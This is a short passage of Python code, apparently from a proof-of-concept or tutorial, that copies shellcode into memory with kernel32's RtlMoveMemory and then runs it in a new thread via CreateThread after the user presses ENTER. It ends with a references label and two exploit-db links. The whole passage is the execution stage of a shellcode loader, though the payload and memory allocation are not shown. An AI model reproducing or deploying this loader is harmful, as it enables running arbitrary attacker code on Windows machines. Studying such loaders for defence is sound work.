ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))




参考:

https://www.exploit-db.com/exploits/50291  

https://www.exploit-db.com/exploits/40890